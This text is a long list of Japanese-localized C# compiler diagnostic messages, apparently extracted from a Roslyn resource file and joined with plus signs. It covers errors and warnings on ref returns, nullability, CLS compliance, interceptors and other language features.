CLS に準拠していません + 必要なメンバー '{0}' に値を割り当てる必要があります。入れ子になったメンバーまたはコレクション初期化子を使用することはできません。 + トップレベルのステートメントは、名前空間および型の宣言の前にある必要があります。 + 部分メソッドの宣言 '{0}' と '{1}' には、シグネチャの違いがあります。 + ソース ファイルには、ファイルスコープと通常の名前空間の両方の宣言を含めることはできません。 + 読み取り専用であるため '{0}' に割り当てできません + using 型のエイリアス + パラメーター {0} は '{1}{2}' 型として宣言しますが、'{3}{4}' である必要があります + PermissionSet 属性 ('{2}') の名前付き引数 '{1}' に対して指定されたファイル '{0}' の読み取り中にエラーが発生しました + 式ツリーに switch 式を含めることはできません。 + 制約句が、型パラメーター '{0}' に既に指定されています。型パラメーターの制約のすべてが、単一の WHERE 句で指定されなければなりません。 + 'static' 修飾子は 'unsafe' 修飾子の前に指定する必要があります。 + 匿名型の場合 + void' を待機することができません + ローカル変数 '{0}' は ref ローカル変数ではないため、参照渡しで返すことはできません + コンストラクターの呼び出しは動的ディスパッチされる必要がありますが、この呼び出しはコンストラクター初期化子の一部であるためディスパッチできません。動的な引数をキャストしてください。 + 暗黙的に型指定された out 変数 '{0}' の型を推論できません。 + アセンブリ '{0}' に '{1}' 属性が指定されていないため、このアセンブリから相互運用型を埋め込むことはできません。 + #line span ディレクティブには、最初のかっこの前、文字オフセットの前、ファイル名の前にスペースが必要です + オブジェクト初期化子 + 暗黙的に型指定された変数は、複数の宣言子を持つことができません + {0} '{1}' は読み取り専用の変数であるため、書き込み可能な参照によって返すことはできません + 名前空間にフィールドやメソッド、またはステートメントのようなメンバーを直接含めることはできません + メンバーの種類と名前の前にメンバー修飾子'{0}' が必要です + switch 式が入力の種類で可能なすべての値を処理していません (すべてを網羅していません)。 + インターセプター '{1}' を使用して'{0}' への呼び出しをインターセプトしていますが、署名が一致しません。 + } が必要です + 空の switch ブロックです + 名前付き属性引数が必要です + 入力文字列を同等の UTF-8 バイト表現に変換できません。{0} + パラメーターに複数の異なる既定値があります。 + 型 '{0}' の引数は DefaultParameterValue 属性には適用できません + ユーザー定義の変換では、それを囲む型に/から変換しなければなりません + 割り当てられていない可能性のあるフィールドの使用 + 型 '{1}' の構造体メンバー '{0}' により、構造体レイアウトで循環参照が発生します + 制約型が CLS に準拠していません + かっこで囲まれたパターン + 抽象であるため属性クラス '{0}' を適用できません + これは、ローカル '{0}' のメンバーを参照渡しで返しますが、ref ローカル変数ではありません + 指定された式は指定された定数と必ず一致します。 + '{0}' は abstract、extern、または partial に指定されていないため、本体を宣言する必要があります + 到達できないコードが検出されました + 機能 '{3}' は C# {4} では使用できないため、'{0}' は型 '{2}' のインターフェイス メンバー '{1}' を実装できません。'{5}' 以上の言語バージョンをご使用ください。 + 参照フィールド '{0}' は、使用する前に参照を割り当てる必要があります。 + Null 参照代入の可能性があります。 + レコード構造体 + この非同期メソッドには 'await' 演算子がないため、同期的に実行されます。'await' 演算子を使用して非ブロッキング API 呼び出しを待機するか、'await Task.Run(...)' を使用してバックグラウンドのスレッドに対して CPU 主体の処理を実行することを検討してください。 + コンテキスト キーワード "var" を明示的なラムダ戻り値の型として使用することはできません + init 専用セッター + 範囲変数 '{0}' は、メソッド型パラメーターと同じ名前を持つことができません + 型 '{0}' のコンストラクターが定義されていません + 匿名メソッド + スクリプト (.csx ファイル) が必要ですが、指定されていません + 単一の部分型宣言のみがパラメーター リストを持つことができます + スライス パターンは、'{0}' 型の値に使用されない可能性があります。 + これは、参照返しでパラメーターを返しますが、ref パラメーターではありません + Null 許容型 + '{0}' にはコンパイラ機能 '{1}' が必要ですが、このバージョンのC## コンパイラではサポートされていません。 + プライマリ コンストラクターが、合成されたコピー コンストラクターと競合しています。 + 応答ファイルで指定されているため、/noconfig オプションを無視します + Null 許容参照型 + 分解 `変数 (...)` フォームは特定の種類の '変数' を許可しません。 + #line ディレクティブの行数が指定されていないか、無効です + XML ファイル "{0}" の形式が正しくないため、含めることができません + アナライザーのアセンブリ {0} ({1}) を読み込むことができません + ユーザー定義の演算子 '{0}' は static および public として宣言されなければなりません + 不適切な宣言です。代わりに '{0} 演算子 <dest 型> (...' を使用してください。 + '{0}': スタティック型を戻り値の型として使用することはできません + '{1}' には params パラメーターがないため、'{0}' は params パラメーターを持つことができません + ローカル変数 '{0}' は参照渡しで返されますが、参照渡しで返せない値に初期化されました + フィールドが明示的に割り当てられる前にコントロールが呼び出し元に返され、先行する暗黙的な代入が 'default' になります。 + 一時ファイルを作成できません -- {0} + '{0}' に最も適しているオーバーロードには '{1}' という名前のパラメーターがありません + 型のパラメーター '{0}' は、含む型またはメソッドと同じ名前を持っています + メンバーは継承されたメンバーを非表示にします。キーワード new がありません + 部分メソッドは、部分型内で宣言される必要があります + '{0}' の型 '{1}' は、'{2}' のインポートされた名前空間 '{3}' と競合しています。'{0}' で定義された型を使用しています。 + '{0}' の名前空間 '{1}' は、'{2}' のインポートされた型 '{3}' と競合しています。'{0}' で定義された名前空間を使用しています。 + コレクション初期化子に最も適しているオーバーロード Add メソッド '{0}' には無効な引数がいくつか含まれています + 型 '{0}' の式は指定されたパターンと絶対に一致しません。 + リスト パターンは、型 '{0}' の値には使用できません。適切な 'Length' または 'Count' プロパティが見つかりませんでした。 + 配列を作成するには、配列のサイズまたは配列の初期化子を指定する必要があります + タプルの等値性 + 型パラメーター '{0}' には、対応する typeparam タグが '{1}' の XML コメントにありませんが、他の型パラメーターにはあります + インターセプトできません。パス '{0}' がマップされていません。マップされたパス '{1}' が必要です。 + in パラメーターに Out 属性を指定することはできません。 + 条件式の代入は常に定数です。== を使用するつもりで = を使用しましたか? + Win32 マニフェスト ファイル '{0}' を読み取り中にエラーが発生しました -- '{1}' + 式ツリーには、補間された文字列ハンドラー変換を含めることはできません。 + ref 条件演算子のブランチでは、互換性のない宣言スコープを持つ変数を参照します + モジュール '{1}' の属性 '{0}' は、ソースに表示されるインスタンスのために無視されます + 範囲変数に {0} を割り当てることができません + params パラメーターは、パラメーター リストの最後のパラメーターでなければなりません + タプル型 '{0}' のマッチングには '{1}' サブパターンが必要ですが、'{2}' サブパターンが指定されています。 + 引数のない throw ステートメントは、すぐ外側にある catch 句の中に入れ子にされた finally 句の中で使用することはできません + 自動実装の 'set' アクセサー '{0}' を 'readonly' とマークすることはできません。 + タプルには 2 つ以上の要素が必要です。 + 型 '{0}' は型引数として使用できません + '{0}' は '{1}' のパブリック インスタンスまたは拡張機能の定義を含んでいないため、型 '{0}' の変数に対して foreach ステートメントを使用することはできません。'foreach' ではなく 'await foreach' ですか? + ファイル名 '{0}' は、空である、無効な文字を含んでいる、絶対パスが指定されていないドライブ指定がある、または長すぎるかのいずれかです + この参照は '{1}' に '{0}' を割り当てますが、'{1}' の値のエスケープ スコープは、'{0}' よりも狭いエスケープ スコープを持つ値の'{0}' を介した割り当てを許可する '{1}' よりも広い値のエスケープ スコープを持っています。 + パラメーターの型における参照型の Null 許容性が、オーバーライドされるメンバーと一致しません。 + ターゲット ランタイムは、インターフェイスのメンバーに対して 'protected'、'protected internal'、'private protected' アクセシビリティをサポートしていません。 + 相互運用型 '{0}' は、必須の '{1}' 属性がないため、埋め込むことができません。 + デリゲートを返す '{0}' に変換された非同期ラムダ式は値を返すことができません + unmanaged ジェネリック型の制約 + Null 許容参照型の注釈は、'#nullable' 注釈のコンテキスト内のコードでのみ使用する必要があります。自動生成されたコードには、ソースに明示的な '#nullable' ディレクティブが必要です。 + 言語名 '{0}' は無効です。 + for、using、fixed または declaration ステートメント に 1 つ以上の型を使用することはできません + 範囲変数 '{0}' が割り当てられません -- 読み取り専用です + '{0}' には、引数 {1} を指定するコンストラクターは含まれていません + アセンブリ カルチャ文字列に埋め込み NUL 文字を含めることはできません。 + 予期しないパラメーター リストです。 + モジュール初期化子は通常のメンバー メソッドでなければなりません + 固定フィールドを ref フィールドにすることはできません。 + 定数の補間された文字列 + '{0}': 制約クラスと 'unmanaged' 制約の両方を指定することはできません + 参照される変数が宣言のスコープ外に公開される可能性があるため、このコンテキストで変数 '{0}' を使用することはできません + パターンで Null 許容型 '{0}?' を使用することはできません。代わりに基になる型 '{0}' をご使用ください。 + 静的な仮想または抽象インターフェイス メンバーには、型パラメーターでのみアクセスできます。 + 部分メソッド宣言は、両方とも params パラメーターを使用するか、両方とも params パラメーターを使用しないかのいずれかである必要があります + 明示的なインターフェイス宣言内の '{0}' が、実装可能なインターフェイスのメンバーの中に見つかりません + '{0}' の型 '{1}' は、'{2}' のインポートされた型 '{3}' と競合しています。'{0}' で定義された型を使用しています。 + 'System.Runtime.CompilerServices.NullableAttribute' の明示的な適用は許可されていません。 + 配列要素を '{0}' 型にすることはできません + 修飾子をイベント アクセサー宣言に付属させることはできません + '{0}' は、インターフェイス メンバー '{1}' を実装していません。'{2}' はアクセスできないメンバーを暗黙的に実装できません。 + 基底クラス '{0}' は、すべてのインターフェイスより前に指定する必要があります + '{1}' と '{2}' の間に共通の型が見つからないため、言語バージョン {0} で条件式が無効です。ターゲットにより型指定された変換を使用するには、言語バージョン {3} 以上にアップグレードしてください。 + 競合するオプションが指定されました: Win32 リソース ファイル、Win32 マニフェスト + 反復子にポインター型パラメーターを指定することはできません + 型 '{0}' を型 '{1}' に変換する標準変換が存在しないため、CallerMemberNameAttribute を適用することはできません + ref パラメーターでも out パラメーターでもないため、パラメーター '{0}' のメンバーを参照渡しで返すことはできません + (以前のエラーに関連するシンボルの位置) + stdin 引数 '-' が指定されていますが、入力が標準入力ストリームからリダイレクトされていません。 + catch 句の本体で値を生成することはできません + 戻り値の型における参照型の NULL 値の許容が、暗黙的に実装されるメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + これは非同期メソッドであるため、return 式は '{0}' ではなく '{1}' 型である必要があります + { か ; が必要です + キーワード 'this' は、静的プロパティ、静的メソッド、または静的フィールド初期化子では無効です + パラメーターにラムダの params 修飾子がありますが、ターゲット デリゲート型にはありません。 + インターフェイス メンバー '{0}' には最も固有な実装がありません。'{1}' と '{2}' のどちらも最も固有なものではありません。 + 省略可能なパラメーター + 無効な検索パスが指定されています + 参照渡しで 'this' を返すことはできません。 + 埋め込み相互運用型 '{0}' と一致する相互運用型が見つかりません。アセンブリ参照が指定されていることを確認してください。 + この警告は、ソースにあるアセンブリの属性 AssemblyKeyFileAttribute または AssemblyKeyNameAttribute が /keyfile または/keycontainer コマンド ライン オプション、キー ファイルの名前、またはプロジェクトのプロパティで指定されたキー コンテナーと競合する場合に発生します。 + この警告は、InternalsVisibleToAttribute などの属性が正しく指定されていないことを示します。 + ポインター + 参照渡し変数の宣言には初期化子が必要です + 'MethodImplOptions.Synchronized' は、非同期メソッドに適用できません。 + 参照 '{0}' は ref パラメーターではないため、パラメーターを返すことができません + '{0}' は有効な関数ポインターの戻り値の型修飾子ではありません。有効な修飾子は 'ref ' および 'ref readonly' です。 + 言語バージョン {1} では、引数 {0} を 'ref' キーワード (keyword)と共に渡すことはできません。'ref' 引数を 'in' パラメーターに渡すには、{2} 以上の言語バージョンにアップグレードしてください。 + 無効なオブジェクト作成 + NotNullIfNotNull によって参照されているパラメーターが null 以外であるため、パラメーターには終了時に null 以外の値が含まれている必要があります。 + 名前空間で定義された要素は明示的に private、protected、protected internal、または private protected に宣言することはできません + バイナリ演算子のパラメーターの 1 つは、それを含む型であるか、それに制約された型パラメーターである必要があります。 + /moduleassemblyname オプションは 'module' のターゲット型をビルドするときのみ指定できます + '{0}' の戻り値の型における参照型の NULL 値の許容が、ターゲット デリゲート '{1}' と一致しません。おそらく、NULL 値の許容の属性が原因です。 + 型パラメーター '{0}' は、競合する制約 '{1}' および '{2}' を継承します + リソース識別子 '{0}' は既にこのアセンブリで使用されています + '{0}' の既定のパラメーター値は、コンパイル時の定数である必要があります + プログラムは、エントリ ポイントに適切な静的 'Main' メソッドを含んでいません + 参照渡しでプライマリ コンストラクター パラメーター '{0}' を返すことはできません。 + レコード メンバー '{0}' を static にすることはできません。 + このエラーは、System.Int32 などの定義済みのシステム型が 2 つのアセンブリで見つかった場合に発生します。これが起こりうる 1 つの方法は、.NET Framework の 2 つのバージョンを同時に実行するなど、2 つの異なる場所から mscorlib または System.Runtime.dll を参照した場合です。 + '{0}' のメンバーは参照渡しで返せない値に初期化されたため、参照渡しで返すことができません + 必要なメンバー '{0}' を '{1}' で非表示にすることはできません。 + 可変個の引数を持つメソッドは CLS に準拠していません + Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal を使用して、数値のリテラル トークンを作成してください。 + 部分メソッド宣言は、両方とも static であるか、両方とも static でないかのいずれかである必要があります + '{0}' は lock ステートメントによって要求された参照型ではありません + '{0}' は、パターン '{1}' を実装しません。'{2}' は、パブリック インスタンスまたは拡張メソッドではありません。 + '{1}' の複数のインスタンスを実装するため、非同期 foreach ステートメントは、型 '{0}' の変数では操作できません。特定のインターフェイスのインスタンス化にキャストしてください + 参照フィールドは、使用する前に参照を割り当てる必要があります。 + 静的な読み取り専用フィールドを書き込み可能な参照渡しで返すことはできません + '{0}' は '{1}' のパブリック インスタンスまたは拡張機能の定義を含んでいないため、型 '{0}' の変数に対して非同期 foreach ステートメントを使用することはできません。'await foreach' ではなく 'foreach' ですか? + 'implicit' ユーザー定義変換演算子はチェック済みと宣言できません + CLS 準拠のインターフェイスは CLS 準拠のメンバーのみを持つ必要があります + 追加されたモジュールは、アセンブリに一致するように CLSCompliant 属性と共に設定されなければなりません + '{0}': パラメーター、ローカル変数またはローカル関数は、メソッド型のパラメーターと同じ名前を持つことができません + 戻り値の型は CLS に準拠していません + アイコン ファイル {0} を開く際にエラーが発生しました -- {1} + '{0}' は、__arglist パラメーターが指定されているため、型 '{2}' のインターフェイス メンバー '{1}' を実装できません + 読み込まれたアセンブリが .NET Framework を参照しています。これはサポートされていません。 + '{0}' に対するこの引数の組み合わせは、パラメーター '{1}' によって参照される変数が宣言のスコープ外に公開される可能性があります + 暗黙的に型指定された分解変数 '{0}' の型を推論できません。 + メンバーをこの属性で使用することはできません。 + オーバーライドおよび明示的なインターフェイスの実装メソッドの制約は、基本メソッドから継承されるので、'class' または 'struct' 制約の場合を除いて直接指定できません。 + プリプロセッサ ディレクティブに対して無効なファイル名が指定されました + 型 '{1}' の構造体のプライマリ コンストラクター パラメーター '{0}' により、構造体レイアウトで循環が発生します + '{0}' はアセンブリ '{1}' で定義されています。 + 文字 '{0}' は、補間された文字列内で (二重にすることで) エスケープする必要があります。 + メソッド グループ '{0}' を非デリゲート型 '{1}' に変換中です。このメソッドを呼び出すつもりでしたか? + 拡張メソッド + 式に名前がありません。 + インターセプターには、'{1}' で '{0}' パラメーターと一致する 'this' パラメーターが必要です。 + デバッグ情報の書き込み中に予期しないエラーが発生しました -- '{0}' + コンパイル (C#): + 型が CLS に準拠していません + スタティック型 '{0}' へ変換できません + 型には、CLS 準拠型のみを使用する、アクセス可能なコンストラクターがありません + メンバーは参照渡しで返されますが、参照渡しで返せない値に初期化されました + '{0}' は CLS に準拠していない型 '{1}' のメンバーであるため、CLS 準拠として設定できません + フィルター式は定数 'false' です。catch 句の削除を検討してください + 匿名型 + 定数 '{0}' を static に設定することはできません + get アクセサーがないため、プロパティまたはインデクサー '{0}' をこのコンテキストで使用することはできません + 読み取り専用の構造体に含まれる自動実装インスタンスのプロパティは、読み取り専用である必要があります。 + 汎用タスクのような戻り値の型が必要ですが、'AsyncMethodBuilder' 属性で見つかった型 '{0}' が適切ではありませんでした。アリティの非バインド ジェネリック型である必要があり、それを含む型 (存在する場合) は非ジェネリックでなければなりません。 + インターフェイス内のインスタンス プロパティは初期化子を持つことができません。 + 指定された言語バージョン '{0}' の先頭にゼロを含めることはできません + モジュール初期化子に 'UnmanagedCallersOnly' 属性を設定することはできません。 + 応答ファイル '{0}' を開いているときにエラーが発生しました + コレクション初期化子要素に最も適しているオーバーロード Add メソッドは古い形式です + パラメーターの型における参照型の NULL 値の許容が、ターゲット デリゲートと一致しません。おそらく、NULL 値の許容の属性が原因です。 + レコードでシールされた ToString + アクセシビリティに一貫性がありません。戻り値の型 '{1}' のアクセシビリティは演算子 '{0}' よりも低く設定されています + extern エイリアスは未使用です。 + 暗黙的に型指定された out 変数 '{0}' への参照は、同じ引数リストでは使用できません。 + partial 修飾子が型 '{0}' にありません。この型の別の部分宣言が存在します + 式は割り当て可能な変数ではないため、'{0}' に変換できません + '{0}': '{1}' に、オーバーライド可能な set アクセサーがないため、オーバーライドできません + パターンがありません + extern エイリアス '{0}' は、/reference オプションで指定されませんでした + '{0}' は認識できる属性の場所ではありません。この宣言の属性の場所として使用できるのは '{1}' です。このブロック内の属性はすべて無視されます。 + __arglist に void 型の引数を指定することはできません + パラメーター {0} はキーワード '{1}' で宣言する必要があります + イベント '{1}' の埋め込みに必要な、インターフェイス '{0}' のソース インターフェイスが無効です。 + コレクション初期化子要素の '{0}' に最も適しているオーバーロード メソッドは使用できません。コレクション初期化子 'Add' メソッドには、ref パラメーターまたは out パラメーターを使用できません。 + 型は評価の目的でのみ提供されています。将来の更新で変更または削除されることがあります。 + '&' 演算子は、非同期メソッドのパラメーターまたはローカル変数では使用できません。 + '{0}': オーバーライドする適切なメソッドが見つかりませんでした + <path list> + '{0}' のメンバーは '{1}' であるため変更できません + '{0}': 抽象化できるのは CLS 準拠メンバーのみです + using ディレクティブは不要です + モジュールをビルド中にリソース ファイルにリンクできません + <グローバル名前空間> + '{0}' と '{1}' を含む、循環制約の依存関係です + '{0}' は演算子 == または演算子 != を定義しますが、Object.GetHashCode() をオーバーライドしません。 + サポートされる言語バージョン: + 名前 '_' は、破棄パターンではなく定数を参照しています。値を破棄する場合には 'var _' を、そのような名前の定数を参照する場合には '@_' を使用します。 + バイナリ演算子のパラメーターの 1 つはそれを含む型でなければなりません + '{0}' は '{1}' を実装しません + '{1}' 型の修飾子をとおしてプロテクト メンバー '{0}' にアクセスすることはできません。修飾子は '{2}' 型、またはそれから派生したものでなければなりません + プリプロセッサ ディレクティブでは、生文字列リテラルは使用できません。 + コンパイラが必要とするメンバー '{0}.{1}' がありません + アセンブリ属性とモジュール属性は、このコンテキストでは許可されていません + 単一行コメントか行末が必要です + メンバーは継承されたメンバーを非表示にしません。new キーワードは不要です + CollectionBuilderAttribute ビルダー型は、非ジェネリック クラスまたは構造体である必要があります。 + 明示的なコンストラクターがない構造体には、初期化子を持つメンバーを含めることはできません。 + '{0}': 静的クラスは、制約として使用することはできません + 非同期メソッドの戻り値の型は、void、Task、Task<T>、task-like 型、IAsyncEnumerable<T>、IAsyncEnumerator<T> でなければなりません + XML コメントに、解決できなかった cref 属性 '{0}' があります + 型名 '{0}' は名前空間 '{1}' に見つかりませんでした。この型はアセンブリ '{2}' に転送されました。このアセンブリへの参照を追加することを検討してください。 + メソッド '{0}' は、型パラメーター '{1}' に対して 'class' 制約を指定していますが、オーバーライドされた、または明示的に実装されたメソッド '{3}' の対応する型パラメーター '{2}' は参照型ではありません。 + Foreach は '{0}' 上で使用できません。'{0}' を呼び出しますか? + volatile フィールドへの参照は、volatile として扱われません + 参照渡しのマーシャリングクラスのフィールドのメンバーにアクセスすると、ランタイム例外が発生する可能性があります + フィールドは void 型を持てません + 考えられるメソッド名 '{0}' は呼び出されていないため、インターセプトすることができません。 + 基本型は CLS に準拠していません + 読み取り専用型のプライマリ コンストラクター パラメーター '{0}' のメンバーは変更できません (型または変数初期化子の init 専用セッターを除く) + 拡張メソッドは、トップ レベルの静的クラスで定義される必要があります。{0} は入れ子にされたクラスです + '{0}' の呼び出し規則は、この言語ではサポートされていません。 + モジュール '{0}' は既にこのアセンブリに定義されています。各モジュールには一意のファイル名がある必要があります。 + 属性は、このコンテキストでは無効です。 + 固定サイズ バッファー + メソッドまたはアクセサー ブロックの後のセミコロンの使用が正しくありません + {0} '{1}' のメンバーは読み取り専用の変数であるため、ref 値としても out 値としても使用できません + ユーザー定義演算子 '{0}' はチェック済みと宣言できません。 + アセンブリ '{1}' から相互運用型 '{0}' を埋め込むと、現在のアセンブリで名前の競合が発生します。'相互運用機能型の埋め込み' プロパティを false に設定することを検討してください。 + 可変個の引数を持つメソッドは CLS に準拠していません + '{0}': アクセサーのアクセシビリティ修飾子は、プロパティまたはインデクサーが get アクセサーおよび set アクセサーの両方を含む場合にのみ、使用されます + コンパイラの必須型 '{0}' が見つからないため、'dynamic' を利用するクラスまたはメンバーを定義できません。参照が指定されていることを確認してください。 + 修飾子 'abstract' はフィールドで有効ではありません。プロパティを使用してください。 + コピー コンストラクター '{0}' は、レコードが sealed ではないため、public または protected にする必要があります。 + ブール型の switch + 式の結果は常に型 '{0}' の 'null' になります + パラメーター '{0}' の型における参照型の Null 許容性が、部分メソッド宣言と一致しません。 + CLSCompliant 属性は、戻り値の型に適用しても意味がありません + デリゲート戻り値の型に暗黙的に変換できない戻り値の型がブロック内にあるため、{0} を目的のデリゲート型に変換できません + 公開されている型またはメンバー '{0}' の XML コメントがありません + メンバー '{0}' は、インターフェイス メンバー '{1}' を型 '{2}' で実装できません。実行時に一致するインターフェイス メンバーが複数あります。どのメソッドが呼び出されるかは実装に依存しています。 + コンパイラは、警告付きのエラーをオーバーライドしたときにこの警告を生成します。この問題の詳細については、上記のエラー コードを検索してください。 + using 変数 + new() 制約は最後に指定する制約でなければなりません + '{0}' は、型 '{2}' のインターフェイス リストに、異なるタプル要素名 '{1}' として既に指定されています。 + 型 '{0}' の引数は、参照型の NULL 値の許容の違いにより、'{3}' のパラメーター '{2}' に対して型 '{1}' の出力として使用することはできません。 + ref フィールド + フィールド '{0}' は割り当てられません。常に既定値 {1} を使用します + フレンド アセンブリ参照 '{0}' は無効です。厳密な名前の署名つきアセンブリはその InternalsVisibleTo 宣言内で公開キーを指定しなければなりません。 + 基底インターフェイスが CLS に準拠していないため、型は CLS に準拠していません + 型 '{1}' は、'{0}' と呼ばれるメンバーを同じパラメーターの型で既に定義しています + <!-- Badly formed XML comment ignored for member "{0}" --> + インライン配列構造体に明示的なレイアウトを含めることはできません。 + デリゲート型 '{0}' には 1 つ以上の out パラメーターが含まれているため、パラメーター リストを含まない匿名メソッド ブロックをこのデリゲート型に変換することはできません + パラメーター '{0}' の型の NULL 値の許容が、オーバーライドされたメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + 属性 '{0}' は、メソッドまたは属性クラスでのみ有効です + インライン配列の長さは、0 より大きくなければいけません。 + キーワード void はこのコンテキストで使用できません + 一部の null 入力が switch 式で処理されません (すべてが網羅されてはいません)。たとえば、パターン '{0}' がカバーされていません。ただし、'when' 句を含むパターンがこの値と一致する可能性があります。 + 'Inline arrays' 言語機能は、要素フィールドが 'ref' フィールドであるか、型引数として無効な型を持つインライン配列型ではサポートされていません。 + 名前空間 '{1}' は既に '{0}' の定義を含んでいます + アイテム: 空にすることはできません + extern ローカル関数 + 識別子または数値リテラルが必要です。 + '{1}' の XML コメントで、'{0}' の paramref タグが存在しますが、その名前に相当するパラメーターはありません + オーバーロード可能な単項演算子が必要です + これは、ref パラメーターでも out パラメーターでもないパラメーター '{0}' のメンバーを参照渡しで返します + '{0}' で非 virtual メンバー参照を実行できません。これは型パラメーターであるためです + プロパティ サブパターンには、一致させるプロパティまたはフィールドへの参照が必要です。例: '{{ Name: {0} }}' + '{1}' に格納されているモジュール名 '{0}' はファイル名と一致する必要があります。 + null リテラルを null 非許容参照型に変換できません。 + 参照渡しのマーシャリングクラスのフィールドであるため、'{0}' を ref 値または out 値として使用したり、そのアドレスを取得したりすると、ランタイム例外が発生する可能性があります + 指定したバージョン文字列 '{0}' は、推奨される形式 (major.minor.build.revision) に従っていません + これは、ref パラメーターでも out パラメーターでもないパラメーターのメンバーを参照渡しで返します + '{0}': 配列要素をスタティック型にすることはできません + コンストラクター + SyntaxTree はコンパイルの一部ではないため削除できません + '{0}' と '{1}' の間に暗黙的な変換がないため、条件式の型がわかりません + '{0}' は '{1}' であるため、これに割り当てることはできません + イベント '{0}' は、+= または -= の左側にのみ表示されます (型 '{1}' 内で使用する場合を除きます) + set アクセサーにアクセスできないため、プロパティまたはインデクサー '{0}' はこのコンテキストでは使用できません + パラメーター '{0}' の 'scoped' 修飾子がターゲット '{1}'と一致しません。 + {0} は有効な C# 変換式ではありません + 名前付き引数 '{0}' は、場所引数が既に指定されているパラメーターを指定します + メソッド グループ '{0}' を非デリゲート型 '{1}' に変換することはできません。このメソッドを呼び出しますか? + モジュールの /win32manifest は、アセンブリにのみ適用されるため、無視されます + foreach では、戻り値の型 '{1}' の '{0}' に適切なパブリック MoveNext メソッドおよびパブリック Current プロパティが含まれている必要があります + (以前のエラーに関連する警告の位置) + 配列初期化子は変数かフィールド初期化子の中でのみ使用できます。new 式を使用してください。 + <null> + <text> + 既定の型パラメーターの制約 + '{0}' とデリゲート '{1}' で参照が一致しません + '{0}': '{1}' は関数ではないためオーバーライドできません + 暗黙的に型指定されたローカル変数 + レコード メンバー '{0}' は、位置指定パラメーター '{2}' に一致させるための型 '{1}' の読み取り可能なインスタンス プロパティまたはフィールドである必要があります。 + ターゲットのランタイムは既定のインターフェイス実装をサポートしていないため、'{0}' は型 '{2}' のインターフェイス メンバー '{1}' を実装できません。 + インライン配列構造体では、インスタンス フィールドを 1 つだけ宣言する必要があります。 + 定義済みの型 '{0}' は構造体である必要があります。 + インライン配列のアクセスには名前付き引数の指定子を指定できません + 暗黙的に型指定された配列 + Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier や Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier を使用して、識別子トークンを作成してください。 + キーワード 'delegate' は制約として使用できません。'System.Delegate' のつもりでしたか? + '{0}': using ステートメントで使用される型は、暗黙的に 'System.IDisposable' への変換が可能でなければなりません。 + 予期しない参照比較です。比較値を取得するには型 '{0}' に左辺をキャストしてください + 無効な次元指定子です: ',' または ']' を指定してください + プロパティ アクセサーは既に定義されています + 配列初期化子で暗黙的に型指定された変数を初期化することはできません + 定数の 新しい行です + 'warnings'、'annotations'、またはディレクティブの終わりが必要です + アナライザーのインスタンスを作成できません + '{1}' は反復子インターフェイス型ではないため、'{0}' の本体は反復子ブロックにできません + '{0}' に割り当てられた式は定数でなければなりません + 配列のサイズは変数宣言の中で指定できません ('new' を使用して初期化してください) + フィルター式は定数 'false' です。 + '{0}': 抽象イベントは初期化子を持つことができません + ID が同一の複数のアセンブリ ('{0}' と '{1}') がインポートされました。重複している参照の一方を削除します。 + '{0}': using ステートメントで使用される型は、暗黙的に 'System.IDisposable' への変換が可能でなければなりません。'using' ではなく 'await using' ですか? + '{0}' の型 '{1}' が '{2}' の名前空間 '{3}' と競合しています + 入力は、指定されたパターンと常に一致します。 + パラメーター '{0}' は外側の型の状態にキャプチャされ、その値はフィールド、プロパティ、またはイベントの初期化にも使用されます。 + CallerLineNumberAttribute は、オプションの引数を許可していないコンテキストで使用されるメンバーに適用されるため、効果がありません + 型が必要です + 場所は、構文ツリーのスパン内にある必要があります。 + モジュールの初期化子 + 式ツリーは、多次元配列初期化子を含むことはできません + ターゲット ランタイムは、拡張可能またはランタイム環境の既定の呼び出し規則をサポートしていません。 + ラムダ パラメーターに適用しても InterpolatedStringHandlerArgument は効果がありません。呼び出しサイトでは無視されます。 + インターフェイスにインスタンス フィールドを含めることはできません + '{0}' は参照渡しで返せない値に初期化されたため、参照渡しで返すことができません + グローバル using ディレクティブは、すべての非グローバル using ディレクティブの前に指定する必要があります。 + エイリアス名の予期しない使用方法です + パラメーター配列は、拡張メソッドで 'this' 修飾子と共に使用することはできません + メソッド '{0}' の呼び出しは動的ディスパッチされる必要がありますが、ベース アクセス式の一部であるためディスパッチできません。動的引数のキャストまたはベース アクセスの削除を検討してください。 + コントロールを呼び出し元に返す前に、自動実装プロパティを完全に割り当てる必要があります。プロパティを自動既定値にするため言語バージョンを更新することを検討してください。 + '{0}': 型に static と sealed の両方を指定することはできません + '{0}' の partial 宣言は、すべてのクラス、すべてのレコード クラス、すべての構造体、すべてのレコード構造体、すべてのインターフェイスのいずれかにする必要があります + 拡張機能 GetEnumerator + 型名 '{0}' には、小文字の ASCII 文字のみが含まれています。このような名前は、プログラミング言語用に予約されている可能性があります。 + CLS 準拠フィールド '{0}' を volatile にすることはできません + このバージョンの '{0}' は、コレクション式では使用できません。 + コンテキスト キーワード 'equals' が必要です + 'id#' 構文はサポートされなくなりました。'$id' を使用してください。 + 指定された行番号と文字番号は、トークン '{0}' の先頭を参照していません。行 '{1}' と文字 '{2}' を使用するつもりでしたか? + プログラムのエントリ ポイントがグローバル コード、エントリ ポイントを無視 + '{1}' のパラメーター '{0}' の型における参照型の Null 許容性が、暗黙的に実装されるメンバー '{2}' と一致しません。 + フィールドは使用されていません + オブジェクト '{0}' は複数回破棄することができます。 + 式ツリーにタプルの == または != 演算子を含めることはできません + '{0}' はインターフェイス メンバー '{1}' を実装しません。'{2}' は参照渡しで返される対応する値がないため、'{1}' を実装できません。 + 関数ポインター パラメーターでは、'{0}' を修飾子として使用することはできません。 + 固定サイズ バッファーには、ローカルまたはフィールドをとおしてのみアクセスできます + '{1}' の XML コメントで、'{0}' の typeparamref タグがありますが、その名前に相当するパラメーターはありません + インターフェイス '{0}' で宣言されている等値演算子または非等値演算子のパラメーターの 1 つは、'{0}' に制限された '{0}' の型パラメーターである必要があります + 生文字列リテラル + ターゲットにより型指定された条件式 + 非同期メソッド ビルダーのオーバーライド + 属性 cref 内では、入れ子型のジェネリック型を修飾する必要があります + 名前付き引数の指定を式ツリーに含めることはできません + /target のターゲット型が無効です。'exe'、'winexe'、'library'、または 'module' のいずれかを指定してください + 静的読み取り専用フィールドへの割り当てはできません (静的コンストラクターまたは変数初期化子では可) + インスタンス参照でメンバー '{0}' にアクセスできません。代わりに型名を使用してください + using または lock 